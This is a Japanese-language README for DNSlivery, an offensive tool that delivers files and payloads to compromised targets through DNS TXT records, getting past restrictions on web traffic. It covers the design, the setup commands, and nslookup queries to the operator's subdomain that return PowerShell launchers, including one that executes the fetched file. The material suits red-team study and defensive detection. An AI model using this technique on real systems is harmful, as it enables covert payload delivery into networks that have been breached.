
DNSを使用したファイルとペイロードの簡単な配信
このプロジェクトは、PowerDNS と Joff Thyer 氏が Paul's Security Weekly ポッドキャスト #590 (youtu.be/CP6cIwFJswQ) で行った技術セグメントに着想を得ています。
DNSlivery は、DNS を転送プロトコルとして使用し、ターゲットにファイルを配信できるようにします。
機能:

従来の Web 経由の配信が不可能な、制限された環境にある侵害済みターゲットに、専用のクライアントソフトウェアを必要とせずに ファイルやペイロードを簡単に配信します。これは、発信 Web トラフィックが禁止されているか、好奇の Web プロキシによって検査される制限環境に適用されます。

より完全な DNS トンネリングツール(例:dnscat2、iodine)はすでに存在しますが、いずれもターゲット上で専用クライアントを実行する必要があります。問題は、このような制限環境では、クライアントを配信する方法が DNS 以外にない可能性が高いことです。言い換えれば、これらのツールで DNS 通信チャネルを構築するには、すでに DNS 通信チャネルが存在している必要があります。
対照的に、DNSlivery はサーバーからターゲットへの一方向通信のみを提供しますが、そのために専用クライアントは必要ありません。したがって、DNS 経由で信頼性の高い双方向通信チャネルを構築する必要がある場合は、DNSlivery を使用して、より高度な DNS トンネリングツールのクライアントをターゲットに配信してください。
ほとんどの DNS トンネリングツールと同様に、DNSlivery は TXT レコードを使用してファイルの内容を base64 表現で保存します。ただし、動作のために本格的な DNS サーバーをセットアップする必要はありません。代わりに、scapy ライブラリを使用して受信 DNS パケットをリッスンし、希望する応答を生成します。

ほとんどのファイルは単一の TXT レコードに収まらないため、DNSlivery はファイルの base64 チャンクを含む複数の順序付けられたレコードを作成します。例として、上図は file という名前のファイルの 42 番目のチャンクの配信を示しています。
ターゲット上で専用クライアントを必要とせずにすべての base64 チャンクを取得して結合するために、DNSlivery は各ファイルに対して以下を生成します。

この 2 段階の配信プロセスは、単一の TXT レコードに収まらないステージャーの機能(紛失した DNS 応答の処理など)を追加するために必要です。
現在、PowerShell ターゲットのみがサポートされています。ただし、DNSlivery は bash や Python などの追加ターゲットをサポートするように改善できる可能性があります。この機能の実装をご希望の場合は、@no0be までお知らせください。
DNSlivery は複雑なサーバーインフラストラクチャを構築する必要はありません。実際、必要なのは次の 2 つの単純な要件のみです。
NS レコードを作成できることudp/53 トラフィックを受信できる Linux サーバーがあること最初のステップは、ドメインに新しい NS レコードを作成して、DNSlivery を実行するサーバーにサブドメインを委任することです。例として、サブドメイン dnsd.no0.be をサーバー vps.no0.be に委任するために、以下のレコードを作成しました。
dnsd IN NS vps.no0.be.
ゾーンがサードパーティのプロバイダーによって管理されている場合は、そのプロバイダーのドキュメントを参照して NS レコードを作成してください。
DNSlivery を実行するために必要なのは、python3 とその scapy ライブラリのみです。
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery は指定されたディレクトリ(デフォルトは pwd)のすべてのファイルを提供し、root 権限で実行して着信 udp/53 パケットをリッスンする必要があります。
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface DNS トラフィックをリッスンするインターフェース
domain DNS ゾーンの完全修飾ドメイン名(FQDN)
nameserver DNSlivery を実行するサーバーの完全修飾ドメイン名(FQDN)
optional arguments:
-h, --help このヘルプメッセージを表示して終了
-p PATH, --path PATH DNS 経由で提供するディレクトリのパス(デフォルト: pwd)
-s SIZE, --size SIZE base64 チャンクのサイズ(バイト)(デフォルト: 255)
-v, --verbose 詳細出力を増やす
例:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
ドメイン名に許可される文字セットは UNIX ファイル名よりもはるかに制限されているため(RFC1035 による)、DNSlivery は必要に応じて正規化を実行します。
例:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
現在の正規化コードは完全ではなく、ファイル名の重複やサイズ制限を考慮していないことに注意してください。
ターゲット上では、まず目的のファイルのランチャーを取得するために、専用の TXT レコードを要求します。以下の 3 つのランチャーがサポートされています。
| アクション |
|---|
nslookup -type=txt [filename].[stager].[domain]
その後、DNS 応答で引用されているランチャーを PowerShell コンソールにコピー&ペースト するだけで、ターゲット上でファイルを取得できます。
例:

| ランチャー |
|---|
| 説明 |
|---|
| 表示 | [filename].print.[domain] | (デフォルト)配信されたファイルをコンソールに表示 |
| 実行 | [filename].exec.[domain] | 配信されたファイルを実行(スクリプトに便利) |
| 保存 | [filename].save.[domain] | 配信されたファイルをディスクに保存(バイナリに便利) |